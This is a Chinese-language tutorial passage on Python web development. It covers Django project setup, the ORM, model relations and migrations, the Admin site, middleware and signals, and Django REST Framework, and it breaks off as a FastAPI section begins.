# Django 的 View ≈ MVC 的 Controller
# Django 的 Template ≈ MVC 的 View

创建项目

# 安装 Django
pip install django

# 创建项目(生成项目骨架)
django-admin startproject mysite
cd mysite

# 创建应用(一个项目可以有多个应用)
python manage.py startapp blog

# 启动开发服务器
python manage.py runserver 0.0.0.0:8000

# 项目结构
mysite/
├── manage.py                # 管理命令入口
├── mysite/
│   ├── __init__.py
│   ├── settings.py          # 配置文件
│   ├── urls.py              # 根 URL 配置
│   ├── wsgi.py              # WSGI 入口
│   └── asgi.py              # ASGI 入口
└── blog/                    # 应用目录
    ├── __init__.py
    ├── models.py            # 数据模型
    ├── views.py             # 视图函数
    ├── urls.py              # 应用 URL
    ├── admin.py             # Admin 配置
    ├── tests.py             # 测试
    └── migrations/          # 数据库迁移

第一个视图

# blog/views.py
from django.http import JsonResponse
from django.shortcuts import render

def hello(request):
    return JsonResponse({"message": "Hello, Django!"})

def home(request):
    return render(request, 'blog/home.html', {"title": "首页"})

# blog/urls.py
from django.urls import path
from . import views

urlpatterns = [
    path('hello/', views.hello),
    path('', views.home),
]

# mysite/urls.py — 根 URL 配置
from django.urls import path, include

urlpatterns = [
    path('blog/', include('blog.urls')),    # 把 /blog/ 交给 blog 应用处理
]

settings.py 关键配置

# mysite/settings.py 重要配置项
import os
SECRET_KEY = os.environ.get('SECRET_KEY', 'dev-only-key-change-in-production')  # 生产环境必须设置环境变量!
DEBUG = os.environ.get('DEBUG', 'True').lower() == 'true'  # 生产环境设为 False
ALLOWED_HOSTS = os.environ.get('ALLOWED_HOSTS', 'localhost').split(',')  # 生产环境:'example.com,www.example.com'

INSTALLED_APPS = [
    'django.contrib.admin',              # Admin 后台
    'django.contrib.auth',               # 认证系统
    'django.contrib.contenttypes',       # 内容类型
    'django.contrib.sessions',           # Session
    'django.contrib.messages',           # 消息框架
    'django.contrib.staticfiles',        # 静态文件
    'blog',                              # 你的应用(必须注册!)
]

DATABASES = {
    'default': {
        'ENGINE': 'django.db.backends.sqlite3',    # 开发用 SQLite
        'NAME': BASE_DIR / 'db.sqlite3',
        # 生产用 PostgreSQL:
        # 'ENGINE': 'django.db.backends.postgresql',
        # 'NAME': 'mydb',
        # 'USER': 'postgres',
        # 'PASSWORD': 'password',
        # 'HOST': 'localhost',
        # 'PORT': '5432',
    }
}
Django 的"应用"概念

一个 Django 项目可以包含多个"应用"(app)。每个应用是一个功能模块:blog(博客)、users(用户)、shop(商城)。应用可以复用——Django 生态有很多现成的应用(django-allauth、django-rest-framework)。

开发服务器 vs 生产服务器

manage.py runserver 是单线程的开发服务器,绝对不能用于生产。生产环境用 Gunicorn(WSGI)或 Uvicorn(ASGI)。Django 4.1+ 原生支持 ASGI。

15. Django ORM 详解

Django ORM 是 Django 最强大的特性之一——你用 Python 代码操作数据库,不需要写 SQL。它把数据库表映射成 Python 类,把 SQL 操作映射成方法调用。

模型定义

# blog/models.py
from django.db import models

class Category(models.Model):
    name = models.CharField(max_length=100, verbose_name='分类名')
    created_at = models.DateTimeField(auto_now_add=True)

    class Meta:
        db_table = 'categories'           # 自定义表名
        ordering = ['-created_at']        # 默认排序

    def __str__(self):
        return self.name

class Article(models.Model):
    STATUS_CHOICES = [
        ('draft', '草稿'),
        ('published', '已发布'),
    ]
    title = models.CharField(max_length=200, verbose_name='标题')
    content = models.TextField(verbose_name='内容')
    status = models.CharField(max_length=10, choices=STATUS_CHOICES, default='draft')
    category = models.ForeignKey(Category, on_delete=models.CASCADE, related_name='articles')
    views = models.IntegerField(default=0, verbose_name='浏览量')
    created_at = models.DateTimeField(auto_now_add=True)
    updated_at = models.DateTimeField(auto_now=True)
    is_deleted = models.BooleanField(default=False)   # 软删除

    class Meta:
        db_table = 'articles'
        indexes = [
            models.Index(fields=['status', '-created_at']),
        ]

CRUD 操作

# ===== Create(创建)=====
article = Article.objects.create(
    title='Django 入门',
    content='...',
    category_id=1,
    status='published'
)

# ===== Read(查询)=====
# 查询所有
articles = Article.objects.all()

# 条件查询
article = Article.objects.get(id=1)                # 只能查一条,多了报错
article = Article.objects.filter(status='published').first()  # 查一条,多了返回第一个

# 链式查询
articles = (Article.objects
    .filter(status='published')
    .filter(views__gt=100)                          # 浏览量 > 100
    .exclude(is_deleted=True)                       # 排除已删除
    .order_by('-created_at')                        # 按创建时间倒序
    [:10])                                          # 取前 10 条

# 常用查询条件
# exact / iexact      — 精确匹配 / 不区分大小写
# contains / icontains — 包含 / 不区分大小写
# gt / gte / lt / lte  — 大于 / 大于等于 / 小于 / 小于等于
# in                    — 在列表中
# isnull                — 是否为空
# range                 — 范围
# startswith / endswith — 开头 / 结尾匹配

# ===== Update(更新)=====
Article.objects.filter(id=1).update(views=100)      # 批量更新
article.title = '新标题'                             # 单条更新
article.save()

# ===== Delete(删除)=====
Article.objects.filter(id=1).delete()               # 硬删除
article.is_deleted = True                            # 软删除(推荐)
article.save()

聚合查询

from django.db.models import Count, Avg, Sum, Max, Min

# 聚合:整个表的统计
stats = Article.objects.aggregate(
    total=Count('id'),
    avg_views=Avg('views'),
    max_views=Max('views'),
)
# {'total': 100, 'avg_views': 256.5, 'max_views': 10000}

# 分组统计:每个分类的文章数
category_stats = (Category.objects
    .annotate(article_count=Count('articles'))
    .order_by('-article_count'))
# <QuerySet [<Category: Python (15)>, <Category: Django (8)>]>
QuerySet 是惰性求值的

Article.objects.filter(status='published') 不会立刻执行 SQL。只有当你遍历它(for 循环)、取值(first/get)、计算长度(count)时才会真正查询数据库。这意味着你可以放心地链式拼接查询条件,不会产生多余的数据库请求。

慎用 .all()

Article.objects.all() 会查出整张表。如果表有百万条记录,会把内存撑爆。永远加上过滤条件和分页:Article.objects.filter(...).order_by(...)[0:20]。

Q 对象:复杂条件查询

from django.db.models import Q

# OR 查询:状态为 published 或 浏览量 > 1000
articles = Article.objects.filter(
    Q(status='published') | Q(views__gt=1000)
)

# NOT 查询:排除已删除
articles = Article.objects.filter(~Q(is_deleted=True))

# 复杂组合:(published 且 views > 100) 或 featured=True
articles = Article.objects.filter(
    (Q(status='published') & Q(views__gt=100)) | Q(is_featured=True)
)

# 动态构建查询条件
filters = Q()
if keyword:
    filters &= Q(title__icontains=keyword) | Q(content__icontains=keyword)
if category_id:
    filters &= Q(category_id=category_id)
if status:
    filters &= Q(status=status)
articles = Article.objects.filter(filters)

F 对象:数据库层面的字段操作

from django.db.models import F

# 原子操作:浏览量 +1(避免并发问题)
Article.objects.filter(id=1).update(views=F('views') + 1)

# 字段间计算:折扣价 = 原价 * 折扣
Product.objects.update(discount_price=F('price') * F('discount'))

# 跨字段比较:找出浏览量大于评论数的文章
articles = Article.objects.filter(views__gt=F('comments_count'))

N+1 查询问题与优化

# ❌ N+1 问题:查询 N 篇文章会产生 N+1 次 SQL
articles = Article.objects.all()  # 1 次查询
for article in articles:
    print(article.category.name)  # 每次访问外键都会额外查询

# ✅ 解决方案 1:select_related(JOIN 查询,适合 ForeignKey/OneToOne)
articles = Article.objects.select_related('category', 'author').all()
# 只有 1 次 SQL:SELECT article.*, category.*, author.* FROM article
#   LEFT JOIN category ON article.category_id = category.id
#   LEFT JOIN author ON article.author_id = author.id

# ✅ 解决方案 2:prefetch_related(单独查询+Python关联,适合 ManyToMany)
articles = Article.objects.prefetch_related('tags').all()
# 2 次 SQL:1 次查文章,1 次查标签,Python 中关联

# 高级用法:自定义 prefetch 查询
from django.db.models import Prefetch
articles = Article.objects.prefetch_related(
    Prefetch('tags', queryset=Tag.objects.filter(is_active=True))
)

自定义 Manager 和 QuerySet

# 自定义 QuerySet
class ArticleQuerySet(models.QuerySet):
    def published(self):
        return self.filter(status='published')

    def featured(self):
        return self.filter(is_featured=True)

    def popular(self, min_views=1000):
        return self.filter(views__gte=min_views)

# 自定义 Manager
class ArticleManager(models.Manager):
    def get_queryset(self):
        return ArticleQuerySet(self.model, using=self._db)

    def published(self):
        return self.get_queryset().published()

    def popular(self, min_views=1000):
        return self.get_queryset().popular(min_views)

# 在模型中使用
class Article(models.Model):
    # ... 字段定义 ...
    objects = ArticleManager()  # 默认 Manager
    # 使用示例
    # Article.objects.published()           # 查已发布
    # Article.objects.published().popular()  # 查已发布的热门文章

数据库事务管理

from django.db import transaction

# 方式 1:上下文管理器
def create_order(user_id, product_id, quantity):
    with transaction.atomic():
        order = Order.objects.create(user_id=user_id, total=0)
        product = Product.objects.select_for_update().get(id=product_id)  # 行锁
        if product.stock < quantity:
            raise ValueError("库存不足")
        product.stock -= quantity
        product.save()
        order.total = product.price * quantity
        order.save()
        return order

# 方式 2:装饰器(整个函数在一个事务中)
@transaction.atomic
def transfer_money(from_id, to_id, amount):
    from_account = Account.objects.select_for_update().get(id=from_id)
    to_account = Account.objects.select_for_update().get(id=to_id)
    if from_account.balance < amount:
        raise ValueError("余额不足")
    from_account.balance -= amount
    to_account.balance += amount
    from_account.save()
    to_account.save()

# 方式 3:保存点(嵌套事务)
def complex_operation():
    with transaction.atomic():  # 外层事务
        do_something()
        try:
            with transaction.atomic():  # 内层事务(保存点)
                risky_operation()
        except Exception:
            # 内层失败,回滚到保存点,外层继续
            pass
        do_something_else()

16. 模型关系与数据库迁移

现实世界的数据不是孤立的——用户有订单,订单有商品,商品属于分类。模型关系描述这些联系。

三种关系

# 一对多(ForeignKey)—— 一个分类有多篇文章
class Article(models.Model):
    category = models.ForeignKey(
        Category,
        on_delete=models.CASCADE,       # 分类删除时,文章也删除
        related_name='articles'         # 反向查询:category.articles.all()
    )

# 多对多(ManyToManyField)—— 一篇文章有多个标签,一个标签属于多篇文章
class Article(models.Model):
    tags = models.ManyToManyField('Tag', related_name='articles', blank=True)

class Tag(models.Model):
    name = models.CharField(max_length=50)

# 使用
article.tags.add(tag1, tag2)           # 添加标签
article.tags.remove(tag1)              # 移除标签
article.tags.all()                     # 查看所有标签
tag.articles.all()                     # 反向查询:有这个标签的所有文章

# 一对一(OneToOneField)—— 一个用户对应一个用户详情
class UserProfile(models.Model):
    user = models.OneToOneField(User, on_delete=models.CASCADE, related_name='profile')
    bio = models.TextField(blank=True)
    avatar = models.URLField(blank=True)

# 使用
user.profile.bio                       # 一对一反向查询(不需要 .all())

on_delete 策略

策略含义场景
CASCADE级联删除分类删了,文章也删
PROTECT阻止删除分类下有文章时,不允许删分类
SET_NULL设为 NULL分类删了,文章的 category_id 变 NULL
SET_DEFAULT设为默认值分类删了,文章归到"未分类"

数据库迁移

# 1. 修改 models.py 后,生成迁移文件
python manage.py makemigrations blog
# 输出:blog/migrations/0001_initial.py

# 2. 查看迁移会执行什么 SQL
python manage.py sqlmigrate blog 0001

# 3. 执行迁移
python manage.py migrate

# 4. 回滚迁移(回到指定版本)
python manage.py migrate blog 0001    # 回到 0001 版本

数据迁移(不只是改表结构)

# 当你需要迁移数据(如给现有记录填充默认值),用 RunPython
# blog/migrations/0002_populate_slug.py

from django.db import migrations

def populate_slug(apps, schema_editor):
    Article = apps.get_model('blog', 'Article')
    for article in Article.objects.all():
        article.slug = article.title.lower().replace(' ', '-')
        article.save()

class Migration(migrations.Migration):
    dependencies = [('blog', '0001_initial')]
    operations = [
        migrations.RunPython(populate_slug, migrations.RunPython.noop),
    ]
迁移文件要提交到 Git

migrations 目录下的文件是项目的一部分,必须提交到版本控制。其他开发者 pull 代码后,运行 python manage.py migrate 就能把数据库更新到最新状态。

生产环境迁移注意事项

① 先备份数据库再迁移。② 大表加字段(如加 NOT NULL 列)可能锁表,用 default= 参数避免。③ 删除字段分两步:先部署代码停止使用该字段 → 再运行迁移删除。④ 永远先在测试环境验证迁移。

17. Django Admin 与后台管理

Django Admin 是 Django 的"杀手锏"——几行代码就能自动生成一个功能完整的后台管理系统。对于内部管理、内容审核、数据维护等场景,它能节省大量开发时间。

# blog/admin.py — 最简单的注册
from django.contrib import admin
from .models import Article, Category, Tag

admin.site.register(Article)
admin.site.register(Category)
admin.site.register(Tag)
# 访问 http://127.0.0.1:8000/admin/ 就能看到管理界面

# 创建管理员账号
# python manage.py createsuperuser

自定义 ModelAdmin

@admin.register(Article)
class ArticleAdmin(admin.ModelAdmin):
    # 列表页配置
    list_display = ['id', 'title', 'category', 'status', 'views', 'created_at']
    list_display_links = ['title']                # 点击标题进入编辑
    list_editable = ['status']                    # 直接在列表页修改状态
    list_filter = ['status', 'category', 'created_at']  # 右侧过滤器
    search_fields = ['title', 'content']          # 搜索框
    list_per_page = 20                            # 每页显示条数
    date_hierarchy = 'created_at'                 # 日期导航

    # 编辑页配置
    fieldsets = (
        ('基本信息', {'fields': ('title', 'category', 'tags')}),
        ('内容', {'fields': ('content', 'status')}),
        ('统计', {'fields': ('views',), 'classes': ('collapse',)}),  # 可折叠
    )
    filter_horizontal = ['tags']                  # 标签多选框(比默认的好用)

@admin.register(Category)
class CategoryAdmin(admin.ModelAdmin):
    list_display = ['name', 'article_count', 'created_at']

    def article_count(self, obj):
        return obj.articles.count()
    article_count.short_description = '文章数'

内联编辑

# 在编辑分类时,直接编辑该分类下的文章
class ArticleInline(admin.TabularInline):       # 表格式内联
    model = Article
    extra = 1                                     # 默认显示1个空行
    fields = ['title', 'status']

@admin.register(Category)
class CategoryAdmin(admin.ModelAdmin):
    list_display = ['name']
    inlines = [ArticleInline]                     # 添加内联

自定义 Admin Actions(批量操作)

@admin.register(Article)
class ArticleAdmin(admin.ModelAdmin):
    list_display = ['title', 'status', 'created_at']
    actions = ['make_published', 'make_draft', 'export_as_csv']

    @admin.action(description='发布选中文章')
    def make_published(self, request, queryset):
        updated = queryset.update(status='published')
        self.message_user(request, f'成功发布 {updated} 篇文章')

    @admin.action(description='设为草稿')
    def make_draft(self, request, queryset):
        queryset.update(status='draft')

    @admin.action(description='导出为 CSV')
    def export_as_csv(self, request, queryset):
        import csv
        from django.http import HttpResponse
        response = HttpResponse(content_type='text/csv')
        response['Content-Disposition'] = 'attachment; filename=articles.csv'
        writer = csv.writer(response)
        writer.writerow(['ID', '标题', '状态', '创建时间'])
        for article in queryset:
            writer.writerow([article.id, article.title, article.status, article.created_at])
        return response

readonly_fields 与 get_queryset

@admin.register(Article)
class ArticleAdmin(admin.ModelAdmin):
    list_display = ['title', 'author', 'status', 'views', 'created_at']
    readonly_fields = ['views', 'created_at', 'updated_at']   # 只读字段不可编辑

    # 重写 queryset —— 非超级管理员只能看自己的文章
    def get_queryset(self, request):
        qs = super().get_queryset(request)
        if request.user.is_superuser:
            return qs
        return qs.filter(author=request.user)

    # 保存时自动设置作者
    def save_model(self, request, obj, form, change):
        if not change:                          # 新建时
            obj.author = request.user
        super().save_model(request, obj, form, change)

    # 控制字段显示权限
    def get_readonly_fields(self, request, obj=None):
        if request.user.is_superuser:
            return ['views', 'created_at']      # 超管只看部分只读
        return ['views', 'created_at', 'author', 'status']  # 普通管理员更多只读

Admin 权限控制(Groups & Permissions)

# Django 自带权限系统
# 每个 Model 自动创建三个权限:add_XXX、change_XXX、delete_XXX
# 自定义权限:
class Article(models.Model):
    class Meta:
        permissions = [
            ('can_publish', '可以发布文章'),
            ('can_feature', '可以置顶文章'),
        ]

# 在 Admin 中检查权限
@admin.register(Article)
class ArticleAdmin(admin.ModelAdmin):
    def has_publish_permission(self, request):
        return request.user.has_perm('blog.can_publish')

    def get_list_display(self, request):
        """根据权限动态调整列表列"""
        if request.user.has_perm('blog.can_publish'):
            return ['title', 'status', 'author', 'views']
        return ['title', 'author']              # 普通用户看不到状态

# 用 Groups 批量管理权限
# 1. 后台创建"编辑"组,勾选 add_article、change_article
# 2. 把用户加入"编辑"组,自动获得对应权限

自定义 Admin 站点(品牌化)

# myapp/admin.py
from django.contrib import admin

# 修改站点标题和头部
admin.site.site_header = '我的博客管理系统'
admin.site.site_title = '博客后台'
admin.site.index_title = '数据管理'

# 自定义 AdminSite(更深度定制)
from django.contrib.admin import AdminSite

class MyAdminSite(AdminSite):
    site_header = '我的管理系统'
    site_title = '管理后台'

    def get_app_list(self, request):
        """自定义首页应用排序"""
        app_list = super().get_app_list(request)
        # 按自定义顺序排列
        ordering = {'博客管理': 1, '用户管理': 2}
        app_list.sort(key=lambda x: ordering.get(x['name'], 99))
        return app_list

my_admin = MyAdminSite(name='myadmin')
# urls.py: path('manage/', my_admin.urls)

自定义 Admin 模板

# 覆盖默认模板(在 templates/admin/ 目录下)
# templates/admin/change_list.html — 列表页
# templates/admin/change_form.html — 编辑页
# templates/admin/index.html — 首页

# 示例:在列表页顶部添加统计信息
# templates/admin/blog/article/change_list.html
{% extends "admin/change_list.html" %}
{% block content_title %}
    {{ block.super }}
    <div style="padding:10px;background:#f0f4ff;border-radius:8px;margin-bottom:16px">
        📊 总文章数:{{ cl.result_count }} |
        今日新增:{{ today_count }} |
        待审核:{{ pending_count }}
    </div>
{% endblock %}

数据导入导出

# pip install django-import-export
# admin.py
from import_export import resources
from import_export.admin import ImportExportModelAdmin

class ArticleResource(resources.ModelResource):
    class Meta:
        model = Article
        fields = ['id', 'title', 'content', 'status', 'created_at']
        export_order = fields                     # 导出列顺序

@admin.register(Article)
class ArticleAdmin(ImportExportModelAdmin):
    resource_class = ArticleResource
    list_display = ['title', 'status', 'created_at']
    # Admin 界面会多出"导入"和"导出"按钮
Django Admin 适合什么场景?

① 内部运营管理系统(内容审核、用户管理)。② 快速原型验证(先用 Admin 管理数据,再开发前端)。③ 数据维护(批量导入导出、数据修正)。④ CRM、ERP 等内部工具。不适合面向终端用户的场景——它的 UI 不够灵活,权限控制也不够细。

Admin 安全

① 生产环境的 Admin 路径不要用默认的 /admin/——改成 /manage-secret/ 之类的隐蔽路径。② 加上 IP 白名单或双重认证。③ Admin 权限要严格控制,不要给运营人员 superuser 权限。④ 用 django-admin-honeypot 假 Admin 页面诱捕攻击者。⑤ 开启 Admin 操作日志(默认记录在 django_admin_log 表)。

Admin 性能优化

① 用 list_select_related 减少 N+1 查询:list_select_related = ['author', 'category']。② 用 list_prefetch_related 预取多对多关系。③ 大表用 show_full_result_count = False 关闭总数统计(避免 COUNT 慢查询)。④ 自定义 get_queryset 只查需要的字段。

18. Django 中间件与信号

中间件是 Django 处理请求/响应的"管道"——每个请求和响应都会经过所有中间件。信号是 Django 的"事件系统"——当某个动作发生时(如模型保存),自动触发回调。

自定义中间件

# blog/middleware.py
import time
import logging

logger = logging.getLogger(__name__)

class RequestTimingMiddleware:
    """统计每个请求的处理时间"""

    def __init__(self, get_response):
        self.get_response = get_response

    def __call__(self, request):
        # 请求前:记录开始时间
        start = time.time()

        # 处理请求
        response = self.get_response(request)

        # 请求后:计算耗时
        elapsed = time.time() - start
        response['X-Request-Time'] = f'{elapsed:.3f}s'
        if elapsed > 1:
            logger.warning(f'慢请求: {request.path} 耗时 {elapsed:.3f}s')

        return response

# 在 settings.py 中注册
MIDDLEWARE = [
    'django.middleware.security.SecurityMiddleware',
    'django.contrib.sessions.middleware.SessionMiddleware',
    'django.middleware.common.CommonMiddleware',
    'django.middleware.csrf.CsrfViewMiddleware',
    'django.contrib.auth.middleware.AuthenticationMiddleware',
    'blog.middleware.RequestTimingMiddleware',    # 放在最后
]

Django 信号

# blog/signals.py
from django.db.models.signals import pre_save, post_save, post_delete
from django.dispatch import receiver
from .models import Article

@receiver(pre_save, sender=Article)
def article_pre_save(sender, instance, **kwargs):
    """文章保存前:自动生成 slug"""
    if not instance.slug:
        instance.slug = instance.title.lower().replace(' ', '-')

@receiver(post_save, sender=Article)
def article_post_save(sender, instance, created, **kwargs):
    """文章保存后:发送通知"""
    if created:
        print(f'新文章创建: {instance.title}')
        # 可以在这里发邮件、写日志、更新缓存等

@receiver(post_delete, sender=Article)
def article_post_delete(sender, instance, **kwargs):
    """文章删除后:清理关联数据"""
    print(f'文章已删除: {instance.title}')

# blog/apps.py — 注册信号
class BlogConfig(AppConfig):
    name = 'blog'

    def ready(self):
        import blog.signals  # 导入信号模块

信号使用场景

数据同步
模型保存后同步到 Elasticsearch——post_save 信号触发索引更新。
缓存清理
数据变更后清除缓存——post_save/post_delete 信号删除相关缓存 key。
通知发送
新订单创建后发邮件——post_save 信号触发异步邮件任务。
审计日志
记录数据变更历史——pre_save 保存旧值,post_save 对比差异写日志。

中间件洋葱模型

# 中间件的执行顺序(洋葱模型):

# 请求阶段(从上到下):
# M1.__call__ → M2.__call__ → M3.__call__ → View

# 响应阶段(从下到上):
# View → M3.__call__ → M2.__call__ → M1.__call__

# 完整流程:
# 1. M1 请求前代码
# 2. M2 请求前代码
# 3. M3 请求前代码
# 4. View 执行
# 5. M3 响应后代码
# 6. M2 响应后代码
# 7. M1 响应后代码

# 这意味着:
# - 放在 MIDDLEWARE 列表前面的中间件,最先处理请求,最后处理响应
# - 如果 M1 返回了响应,M2、M3、View 都不会执行(请求被拦截)

# 示例:权限检查中间件
class PermissionMiddleware:
    def __init__(self, get_response):
        self.get_response = get_response

    def __call__(self, request):
        # 请求前:检查权限
        if request.path.startswith('/admin/') and not request.user.is_staff:
            return JsonResponse({'error': 'Forbidden'}, status=403)

        response = self.get_response(request)

        # 响应后:添加自定义 Header
        response['X-Custom-Header'] = 'value'
        return response

process_view 和 process_exception

# 除了 __call__,中间件还可以定义其他钩子:

class MyMiddleware:
    def __init__(self, get_response):
        self.get_response = get_response

    def __call__(self, request):
        # 请求阶段
        response = self.get_response(request)
        # 响应阶段
        return response

    def process_view(self, request, view_func, view_args, view_kwargs):
        """在视图函数执行前调用(URL 路由之后)"""
        # 可以用于:权限检查、参数预处理
        # 返回 None:继续执行视图
        # 返回 HttpResponse:跳过视图,直接返回
        print(f"即将调用视图: {view_func.__name__}")
        return None

    def process_exception(self, request, exception):
        """视图抛出异常时调用"""
        # 可以用于:全局错误处理、错误上报
        # 返回 None:继续默认异常处理
        # 返回 HttpResponse:自定义异常响应
        logger.error(f"视图异常: {exception}", exc_info=True)
        return JsonResponse({'error': str(exception)}, status=500)

    def process_template_response(self, request, response):
        """视图返回 TemplateResponse 时调用"""
        # 可以用于:动态修改模板上下文
        if hasattr(response, 'context_data'):
            response.context_data['extra'] = 'value'
        return response

# Django 内置中间件的功能:
# - SecurityMiddleware:HTTPS 重定向、HSTS、X-Content-Type-Options
# - SessionMiddleware:加载/保存 Session
# - CsrfViewMiddleware:CSRF Token 验证
# - AuthenticationMiddleware:加载 request.user
# - CommonMiddleware:URL 尾部斜杠、Content-Length
中间件 vs 信号

中间件处理的是请求级别的逻辑(认证检查、日志记录、CORS),每个 HTTP 请求都会经过。信号处理的是模型级别的逻辑(数据保存前后、删除后),只在特定模型操作时触发。不要用信号做认证(用中间件),也不要用中间件做数据同步(用信号)。

信号的陷阱

信号中的代码不容易调试——它在后台默默执行,出错时不容易发现。如果逻辑复杂,建议在视图中显式调用函数而不是用信号。信号适合"触发式"的轻量操作。

19. Django REST Framework

Django REST Framework(DRF)是 Django 生态中最流行的 API 框架——它让 Django 从"全栈 Web 框架"变成了"API 服务器"。几乎所有用 Django 做后端 API 的公司都用 DRF。

Serializer:数据序列化

# blog/serializers.py
from rest_framework import serializers
from .models import Article, Category

class ArticleSerializer(serializers.ModelSerializer):
    category_name = serializers.CharField(source='category.name', read_only=True)

    class Meta:
        model = Article
        fields = ['id', 'title', 'content', 'status', 'category', 'category_name', 'views', 'created_at']
        read_only_fields = ['views', 'created_at']

    def validate_title(self, value):
        if len(value) < 5:
            raise serializers.ValidationError('标题至少5个字符')
        return value

class ArticleCreateSerializer(serializers.ModelSerializer):
    class Meta:
        model = Article
        fields = ['title', 'content', 'category', 'status']

ViewSet:视图集

# blog/views.py
from rest_framework import viewsets, status, permissions, filters
from rest_framework.response import Response
from django_filters.rest_framework import DjangoFilterBackend
from .models import Article
from .serializers import ArticleSerializer, ArticleCreateSerializer

class ArticleViewSet(viewsets.ModelViewSet):
    queryset = Article.objects.filter(is_deleted=False)
    serializer_class = ArticleSerializer
    permission_classes = [permissions.IsAuthenticatedOrReadOnly]

    # 过滤、搜索、排序
    filter_backends = [DjangoFilterBackend, filters.SearchFilter, filters.OrderingFilter]
    filterset_fields = ['status', 'category']          # 精确过滤
    search_fields = ['title', 'content']               # 模糊搜索
    ordering_fields = ['created_at', 'views']          # 排序字段

    def get_serializer_class(self):
        if self.action == 'create':
            return ArticleCreateSerializer
        return ArticleSerializer

    def perform_create(self, serializer):
        serializer.save(author=self.request.user)        # 自动设置当前用户为作者

    def perform_destroy(self, instance):
        instance.is_deleted = True                      # 软删除
        instance.save()

Router:自动路由

# blog/urls.py
from rest_framework.routers import DefaultRouter
from .views import ArticleViewSet

router = DefaultRouter()
router.register('articles', ArticleViewSet)     # 自动生成 CRUD 路由

urlpatterns = router.urls
# 自动生成:
# GET    /articles/          → list(列表)
# POST   /articles/          → create(创建)
# GET    /articles/{id}/     → retrieve(详情)
# PUT    /articles/{id}/     → update(更新)
# PATCH  /articles/{id}/     → partial_update(部分更新)
# DELETE /articles/{id}/     → destroy(删除)

认证与权限

# settings.py — DRF 全局配置
REST_FRAMEWORK = {
    'DEFAULT_AUTHENTICATION_CLASSES': [
        'rest_framework_simplejwt.authentication.JWTAuthentication',  # JWT 认证
        'rest_framework.authentication.SessionAuthentication',        # Session(开发用)
    ],
    'DEFAULT_PERMISSION_CLASSES': [
        'rest_framework.permissions.IsAuthenticatedOrReadOnly',      # 登录可写,未登录可读
    ],
    'DEFAULT_PAGINATION_CLASS': 'rest_framework.pagination.PageNumberPagination',
    'PAGE_SIZE': 20,
    'DEFAULT_THROTTLE_CLASSES': [
        'rest_framework.throttling.AnonRateThrottle',
        'rest_framework.throttling.UserRateThrottle',
    ],
    'DEFAULT_THROTTLE_RATES': {
        'anon': '100/hour',      # 匿名用户每小时 100 次
        'user': '1000/hour',     # 登录用户每小时 1000 次
    }
}
DRF 的权限类

AllowAny(任何人)、IsAuthenticated(必须登录)、IsAdminUser(管理员)、IsAuthenticatedOrReadOnly(登录可写,未登录可读)。也可以自定义权限类实现细粒度控制(如"只有作者能编辑自己的文章")。

DRF 浏览器界面

DRF 自带一个 Web 浏览器界面——在浏览器访问 /articles/ 会看到格式化的 JSON 响应,还能直接在页面上测试 POST/PUT/DELETE。开发调试非常方便。

嵌套序列化与 SerializerMethodField

# 嵌套序列化:关联对象的详细信息
class AuthorSerializer(serializers.ModelSerializer):
    class Meta:
        model = User
        fields = ['id', 'username', 'email']

class ArticleDetailSerializer(serializers.ModelSerializer):
    # 嵌套序列化:返回完整的作者信息(不只是 ID)
    author = AuthorSerializer(read_only=True)

    # 多对多字段:返回标签列表
    tags = serializers.StringRelatedField(many=True, read_only=True)

    # 自定义计算字段
    reading_time = serializers.SerializerMethodField()

    class Meta:
        model = Article
        fields = ['id', 'title', 'content', 'author', 'tags', 'reading_time', 'created_at']

    def get_reading_time(self, obj):
        """计算阅读时间(假设每分钟 200 字)"""
        word_count = len(obj.content)
        return max(1, word_count // 200)

# 创建时处理嵌套写入
class ArticleCreateSerializer(serializers.ModelSerializer):
    # 写入时用 PrimaryKeyRelatedField
    tags = serializers.PrimaryKeyRelatedField(
        many=True, queryset=Tag.objects.all(), required=False
    )

    class Meta:
        model = Article
        fields = ['title', 'content', 'category', 'tags']

    def create(self, validated_data):
        tags = validated_data.pop('tags', [])
        article = Article.objects.create(**validated_data)
        article.tags.set(tags)
        return article

自定义 Permission 类

from rest_framework import permissions

class IsAuthorOrReadOnly(permissions.BasePermission):
    """只有作者能编辑,其他人只能读"""

    def has_object_permission(self, request, view, obj):
        # 读权限:所有人
        if request.method in permissions.SAFE_METHODS:
            return True
        # 写权限:只有作者
        return obj.author == request.user

class IsAdminOrIsSelf(permissions.BasePermission):
    """管理员可以操作所有人,普通用户只能操作自己"""

    def has_object_permission(self, request, view, obj):
        return request.user.is_staff or obj == request.user

# 使用
class ArticleViewSet(viewsets.ModelViewSet):
    permission_classes = [IsAuthenticated, IsAuthorOrReadOnly]

GenericViewSet + Mixin(更灵活的组合)

from rest_framework import generics, mixins

# ModelViewSet = CreateModelMixin + RetrieveModelMixin + UpdateModelMixin
#                + DestroyModelMixin + ListModelMixin + GenericViewSet

# 自定义组合:只开放 list 和 create
class ArticleListCreateView(mixins.ListModelMixin,
                             mixins.CreateModelMixin,
                             generics.GenericViewSet):
    queryset = Article.objects.all()
    serializer_class = ArticleSerializer

    def get_serializer_class(self):
        if self.action == 'create':
            return ArticleCreateSerializer
        return ArticleSerializer

    # 自动拥有 list() 和 create() 方法

# 自定义 action
from rest_framework.decorators import action

class ArticleViewSet(viewsets.ModelViewSet):
    @action(detail=True, methods=['post'])
    def publish(self, request, pk=None):
        """自定义操作:发布文章"""
        article = self.get_object()
        article.status = 'published'
        article.save()
        return Response({'status': 'published'})

    @action(detail=False, methods=['get'])
    def popular(self, request):
        """自定义操作:热门文章"""
        articles = self.queryset.filter(views__gte=1000)[:10]
        serializer = self.get_serializer(articles, many=True)
        return Response(serializer.data)

自定义 exception_handler

from rest_framework.views import exception_handler
from rest_framework.response import Response

def custom_exception_handler(exc, context):
    """统一错误响应格式"""
    response = exception_handler(exc, context)

    if response is not None:
        # response.data 可能是 dict(如 {"detail": "..."})或 list(如校验错误列表)
        detail = response.data.get('detail', '请求错误') if isinstance(response.data, dict) else str(response.data)
        response.data = {
            'code': response.status_code,
            'message': detail,
            'errors': response.data,
        }
    else:
        # 未处理的异常(500 错误)
        response = Response(
            {'code': 500, 'message': '服务器内部错误'},
            status=500
        )
    return response

# settings.py
REST_FRAMEWORK = {
    'EXCEPTION_HANDLER': 'blog.exceptions.custom_exception_handler',
}
第四部分 · FastAPI 现代异步框架

20. FastAPI 快速上手

FastAPI 是 Python Web 框架的新星——原生异步、自动文档、类型安全,性能接近 Go/Node.js。它是构建 API 服务(特别是 AI 应用后端)的首选框架。

一个类比

